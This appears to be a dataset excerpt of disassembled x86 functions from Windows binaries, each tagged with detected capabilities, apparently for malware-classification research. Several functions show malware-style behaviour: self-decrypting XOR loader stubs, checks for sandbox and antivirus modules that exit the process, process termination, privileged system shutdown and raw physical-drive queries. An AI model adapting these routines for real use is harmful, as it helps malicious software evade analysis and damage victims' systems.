joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001f187
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x1001f196
pop dword [ebp - 0x30]
mov eax, 0xede3950e
add eax, 0x221e5c88
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x1f0badaf
sub dword [ebp - 0x40], 0xd0b96864
mov dword [ebp - 0x3c], 0x4fbce2b4
add dword [ebp - 0x3c], 0xe2766991
mov dword [ebp - 0x38], 0x2bf4d549
sub dword [ebp - 0x38], 0xdfa8911b
mov dword [ebp - 0x34], 0xf90209d1
sub dword [ebp - 0x34], 0xf90209d1
lea eax, [ebp - 0x40]
push eax
mov eax, 0xd5cafbd2
add eax, 0x3a35155e
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x677fafc5
add dword [ebp - 0x40], 0xcf2b991
mov dword [ebp - 0x3c], 0xbd7dbb18
add dword [ebp - 0x3c], 0x83eea65d
mov dword [ebp - 0x38], 0x29e7a7fe
sub dword [ebp - 0x38], 0xc6783b92
mov dword [ebp - 0x34], 0x6032bd4f
add dword [ebp - 0x34], 0x9fcd42b1
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xcf02d139
sub eax, 0xbf02c025
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x42284
push 0
call eax
mov ecx, 0xbc89a9fe
add ecx, 0x4376acb3
mov edx, eax
mov esi, 0x51a98d37
sub esi, 0x41a69537
add esi, dword [ebp - 0x30]
mov ebx, 0x854cdb8f
add ebx, 0x47a81982
add dword [ebp - 0x14], eax
mov edi, dword [esi]
add dword [ebp - 0x1c], 0x8f413241
sub edi, ebx
xor dword [ebp - 0x18], edi
mov dword [edx], edi
add dword [ebp - 0x14], ebx
add edx, 0x2b1b84e0
add edx, 0xd4e47b24
add esi, 0xf4e8bb5f
add esi, 0xb1744a5
loop 0x1001f2b8
add eax, 0x2d82a3a2
add eax, 0xd27ea9f5
mov ebx, eax
add eax, 0x8fc11430
add eax, 0x703eebd5
mov ecx, 0x60cea80c
sub ecx, 0x50cea80c
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x100269ee
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100060ec]
jne 0x10027054
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x1002bda8], eax
mov dword [0x1002bda4], ecx
mov dword [0x1002bda0], edx
mov dword [0x1002bd9c], ebx
mov dword [0x1002bd98], esi
mov dword [0x1002bd94], edi
mov word [0x1002bdc0], ss
mov word [0x1002bdb4], cs
mov word [0x1002bd90], ds
mov word [0x1002bd8c], es
mov word [0x1002bd88], fs
mov word [0x1002bd84], gs
pushfd
pop dword [0x1002bdb8]
mov eax, dword [ebp]
mov dword [0x1002bdac], eax
mov eax, dword [ebp + 4]
mov dword [0x1002bdb0], eax
lea eax, [ebp + 8]
mov dword [0x1002bdbc], eax
mov eax, dword [ebp - 0x320]
mov dword [0x1002bcf8], 0x10001
mov eax, dword [0x1002bdb0]
mov dword [0x1002bcac], eax
mov dword [0x1002bca0], 0xc0000409
mov dword [0x1002bca4], 1
mov eax, dword [0x100060ec]
mov dword [ebp - 0x328], eax
mov eax, dword [0x1002baac]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x1002bcf0], eax
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x100060fc
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x1002bcf0], 0
jne 0x10027140
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x401a20
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x411014]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 0x103
xor edi, edi
lea ecx, [ebp - 0x113]
push edi
push ecx
mov dword [ebp - 0x324], eax
mov byte [ebp - 0x114], 0
call fcn.004097d0
add esp, 0xc
lea edx, [ebp - 0x334]
push edx
lea eax, [ebp - 0x340]
push eax
lea ecx, [ebp - 0x338]
push ecx
lea edx, [ebp - 0x32c]
push edx
lea eax, [ebp - 0x348]
push eax
lea ecx, [ebp - 0x344]
push ecx
lea edx, [ebp - 0x33c]
push edx
lea eax, [ebp - 0x318]
push eax
push edi
lea ecx, [ebp - 0x328]
push ecx
lea edx, [ebp - 0x114]
push edx
push ebx
mov dword [ebp - 0x328], 0x104
mov dword [ebp - 0x318], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov eax, dword [ebp - 0x318]
cmp eax, edi
jbe 0x401b6b
lea eax, [ebp - 0x334]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0x320]
push ecx
lea edx, [ebp - 0x314]
push edx
push edi
push ebx
mov dword [ebp - 0x320], 0xff
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x401b5e
mov ecx, dword [ebp - 0x324]
lea eax, [ebp - 0x314]
push eax
push ecx
lea edx, [ebp - 0x214]
push str._s_s
push edx
call fcn.0040400d
add esp, 0x10
lea eax, [ebp - 0x31c]
push eax
push 0x20019
push 0
lea ecx, [ebp - 0x214]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401b5e
mov ecx, dword [ebp - 0x31c]
call fcn.00401ba0
mov edx, dword [ebp - 0x31c]
push edx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, 1
je 0x401b7d
inc edi
cmp edi, dword [ebp - 0x318]
jb 0x401ac8
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00403ffe
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.00403ffe
mov esp, ebp
pop ebp
ret

Function at 0x402780
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
mov ch, 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.004024f4
aaa
pop eax
xlatb
push esp
lea eax, [ebp - 0x58]
push eax
call fcn.00402504
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.004024b9
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x4027e2
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.004024f4
mov dh, 0x6f
cmp ebp, dword [ebp + ecx*4 + 0x45]
rcl byte [eax - 0x18], 0xc5
cld
invalid
Function at 0x404091
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and byte [ebp - 0x789], 0
mov byte [ebp - 0x788], 3
mov byte [ebp - 0x787], 0x3b
mov byte [ebp - 0x786], 0x33
mov byte [ebp - 0x785], 0x3c
mov byte [ebp - 0x784], 0x30
mov byte [ebp - 0x783], 0x3a
mov byte [ebp - 0x782], 0x2d
mov byte [ebp - 0x781], 0x71
jg 0x4040c5
invalid
push dword [ecx - 0x3a]
test dword [eax + 0x3bfffff8], eax
mov byte [ebp - 0x77f], 0x33
mov byte [ebp - 0x77e], 0x33
mov byte [ebp - 0x77d], 0x5f
push 0xc
lea eax, [ebp - 0x78c]
push eax
call fcn.00402504
pop ecx
push eax
mov eax, dword [ebp - 0x28]
lea eax, [ebp + eax - 0x12c]
push eax
call fcn.00402465
add esp, 0xc
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x3a0], eax
jmp 0x40446c
mov eax, dword [ebp - 0x6fc]
inc eax
mov dword [ebp - 0x6fc], eax
and dword [ebp - 0x37c], 0
call fcn.004024f4
mov ss, word [eax - 0x4a00fd79]
pushal
cld
invalid

Function at 0x404206
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x7a8], 0x4e
mov byte [ebp - 0x7a7], 0x55
mov byte [ebp - 0x7a6], 0x56
invalid
Function at 0x401240
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, edx
push 0
mov ebx, ecx
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x214], 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x210]
push eax
push 0x4041a8
push 1
push 0
push 0x4041c8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x401358
mov eax, dword [ebp - 0x210]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x210]
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x210]
lea edx, [ebp - 0x214]
push edx
push 0x4041b8
push eax
mov ecx, dword [eax]
call dword [ecx]
mov esi, eax
test esi, esi
jns 0x4012f2
mov ecx, dword [ebp - 0x210]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
pop edi
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402d1c
mov esp, ebp
pop ebp
ret
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0xffffffffffffffff
push ebx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x214]
lea edx, [ebp - 0x20c]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov ecx, dword [ebp - 0x210]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov ecx, dword [ebp - 0x214]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402d1c
mov esp, ebp
pop ebp
ret
Function at 0x4029a0
Capabilities:
Create directory
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x120
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x11c], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x4029f5
push 0x404260
push 0xffffffffffffffff
push 0x40
push 0x406438
call fcn.004010b0
add esp, 0x10
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x406438
push str.C:_s
lea eax, [esp + 0x18]
push 0x104
push eax
call fcn.00401090
add esp, 0x10
lea eax, [esp + 0x10]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.00401560
mov ecx, dword [esp + 0x11c]
xor eax, eax
xor ecx, esp
call fcn.00402d1c
mov esp, ebp
pop ebp
ret

Function at 0x4035b8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4035f7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4035f7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4035f7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4035f7
cmp dword [ecx + 0x74], 0xe
jbe 0x4035f7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x51b1fc
Capabilities:
Shutdown system

Disassembly:
push ebx
add esp, 0xffffffd8
mov ebx, eax
mov eax, dword [0x525014]
cmp dword [eax], 2
jne 0x51b276
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x51b276
lea eax, [esp + 0xc]
push eax
push 0x51b28c
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp eax, 1
sbb eax, eax
inc eax
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
mov edx, 0x10
xor ecx, ecx
mov dword [esp + 4], ecx
test al, al
je 0x51b276
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x1c]
push eax
push edx
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
push 0
push ebx
call sub.user32.dll_ExitWindowsEx
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x28
pop ebx
ret

Function at 0x51b2a0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404ba4
xor eax, eax
push ebp
push 0x51b421
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
xor edx, edx
mov eax, 2
call fcn.00516390
mov esi, eax
mov dword [ebp - 0x12c], 0x128
lea edx, [ebp - 0x12c]
mov eax, esi
call fcn.005163b0
mov ebx, eax
jmp 0x51b3ed
lea eax, [ebp - 0x138]
lea edx, [ebp - 0x108]
mov ecx, 0x104
call fcn.00404964
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00409924
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00408c14
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.00408c14
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404b00
je 0x51b3c4
lea eax, [ebp - 0x144]
lea edx, [ebp - 0x108]
mov ecx, 0x104
call fcn.00404964
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.00408c14
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.00408c14
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404b00
jne 0x51b3de
push 0
mov eax, dword [ebp - 0x124]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov edi, eax
lea edx, [ebp - 0x12c]
mov eax, esi
call fcn.005163d0
mov ebx, eax
test ebx, ebx
jne 0x51b31f
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51b428
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00404718
lea eax, [ebp - 4]
call fcn.004046f4
ret

Function at 0x51bb08
Capabilities:
Write file on windows

Disassembly:
push ebx
add esp, 0xfffffdfc
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x51bb60
call sub.kernel32.dll_CreateFileA
mov ebx, eax
lea eax, [esp + 4]
mov edx, 0x200
call fcn.004078f0
push 0
lea eax, [esp + 4]
push eax
push 0x200
lea eax, [esp + 0x10]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
add esp, 0x204
pop ebx
ret
Function at 0x51bed4
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x51c0af
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x51c0c0
call sub.kernel32.dll_GetModuleHandleA_2
cmp eax, 1
jbe 0x51bf07
push 0
call sub.kernel32.dll_ExitProcess_1
push 0x51c0cc
call sub.kernel32.dll_GetModuleHandleA_2
cmp eax, 1
jbe 0x51bf1d
push 0
call sub.kernel32.dll_ExitProcess_1
mov ecx, 0x56710c
mov edx, 0x567108
mov eax, 0x567104
call fcn.0051b714
lea eax, [ebp - 4]
mov edx, 0x51c0e0
call fcn.0040478c
xor esi, esi
mov edi, 8
mov ebx, 0x5246c8
lea eax, [ebp - 0x10]
mov ecx, dword [ebx]
mov edx, dword [ebp - 4]
call fcn.00404a00
mov eax, dword [ebp - 0x10]
call fcn.00409720
test al, al
je 0x51bf67
xor eax, eax
mov esi, eax
add ebx, 4
dec edi
jne 0x51bf4a
test esi, esi
jne 0x51c000
mov eax, dword [0x567104]
mov edx, 0x51c104
call fcn.00404b00
jne 0x51c000
lea eax, [ebp - 0x14]
call fcn.00518a30
mov eax, dword [ebp - 0x14]
mov edx, 0x51c114
call fcn.00404b00
jne 0x51c000
mov eax, dword [0x5670e0]
mov eax, dword [eax + 0x3bc]
mov eax, dword [eax + 0x220]
mov edx, 0x51c124
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [0x5670e0]
mov eax, dword [eax + 0x3bc]
mov eax, dword [eax + 0x220]
mov edx, 0x51c1d0
mov ecx, dword [eax]
call dword [ecx + 0x74]
push 0
push 0
push 1
mov ecx, 0x51c1f0
mov edx, 0x51c22c
xor eax, eax
call fcn.00518a98
mov eax, 0x51c1d0
call fcn.00409850
call fcn.00404578
push 0
call sub.kernel32.dll_ExitProcess_1
lea eax, [ebp - 8]
mov edx, 0x51c240
call fcn.0040478c
mov esi, 1
mov edi, 0x13
mov ebx, 0x5246e8
lea eax, [ebp - 0x18]
mov ecx, dword [ebx]
mov edx, dword [ebp - 8]
call fcn.00404a00
mov eax, dword [ebp - 0x18]
call fcn.00409720
test al, al
je 0x51c039
xor eax, eax
mov esi, eax
add ebx, 4
dec edi
jne 0x51c01c
test esi, esi
jne 0x51c04a
push 0
call sub.kernel32.dll_ExitProcess_1
lea eax, [ebp - 0xc]
mov edx, 0x51c260
call fcn.0040478c
mov esi, 1
mov edi, 4
mov ebx, 0x524734
mov ecx, dword [ebx]
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
call fcn.00404a00
mov eax, dword [ebp - 0x1c]
call fcn.00409720
test al, al
je 0x51c083
xor eax, eax
mov esi, eax
add ebx, 4
dec edi
jne 0x51c066
test esi, esi
jne 0x51c094
push 0
call sub.kernel32.dll_ExitProcess_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51c0b6
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.00404718
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x41dcdd
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41dd1c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41dd1c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41dd1c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41dd1c
cmp dword [ecx + 0x74], 0xe
jbe 0x41dd1c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x423cdf
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42e358
push 0x42e350
push str.FlsAlloc
push 0x1f
call fcn.00423b9e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x423d13
push dword [ebp + 8]
mov ecx, esi
call dword [0x42c144]
call esi
jmp 0x423d19
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x423d5d
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42e368
push 0x42e360
push str.FlsGetValue
push 0x21
call fcn.00423b9e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x423d94
push dword [ebp + 8]
mov ecx, esi
call dword [0x42c144]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x423d9c
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42e370
push 0x42e368
push str.FlsSetValue
push 0x22
call fcn.00423b9e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x423dd6
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x42c144]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x42558e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x42562b
push ebx
push esi
call fcn.00425557
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004254eb
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4255d8
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42562a
push edi
push eax
call fcn.00423fa1
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4255f8
call fcn.00423fef
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x425629
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004254eb
add esp, 0x20
test eax, eax
jne 0x425617
push edi
call fcn.00423fef
jmp 0x42561f
push ebx
call fcn.00423fef
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x42b870
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42b89d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42b89d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x100059e0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x37c8
call fcn.1005dc90
mov eax, dword [0x1008600c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push dword [ecx]
lea eax, [ebp - 0x108]
xor esi, esi
push str..PhysicalDrive_d
push eax
call fcn.100062b0
add esp, 0xc
lea eax, [ebp - 0x108]
push esi
push esi
push 3
push esi
push 3
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10005c03
push 0x2710
lea eax, [ebp - 0x37b8]
mov dword [ebp - 0x37bc], esi
push esi
push eax
mov dword [ebp - 0x37c0], esi
mov dword [ebp - 0x37c8], esi
mov dword [ebp - 0x37c4], esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push esi
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0xc
lea eax, [ebp - 0x37c8]
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x10005bf6
mov edx, dword [ebp - 0x37ac]
lea eax, [ebp - 0x8d8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.10005850
mov edx, dword [ebp - 0x37a8]
lea eax, [ebp - 0xcc0]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.10005850
mov edx, dword [ebp - 0x37a4]
lea eax, [ebp - 0x10a8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.10005850
mov edx, dword [ebp - 0x37a0]
lea eax, [ebp - 0x4f0]
push eax
push 1
lea ecx, [ebp - 0x37b8]
call fcn.10005850
add esp, 0x20
cmp byte [0x10087b30], 0
jne 0x10005bb9
movsx eax, byte [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
jne 0x10005b32
movsx eax, byte [ebp - 0x4dd]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
je 0x10005bb9
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x8d8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x1008772f], al
test al, al
jne 0x10005b40
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0xcc0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x10086f2f], al
test al, al
jne 0x10005b60
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x4f0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x10087b2f], al
test al, al
jne 0x10005b80
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x10a8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x1008732f], al
test al, al
jne 0x10005ba0
mov esi, 1
push 0x2710
lea eax, [ebp - 0x37b8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push 0
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0
push 0
push 0x700a0
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x10005bfc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret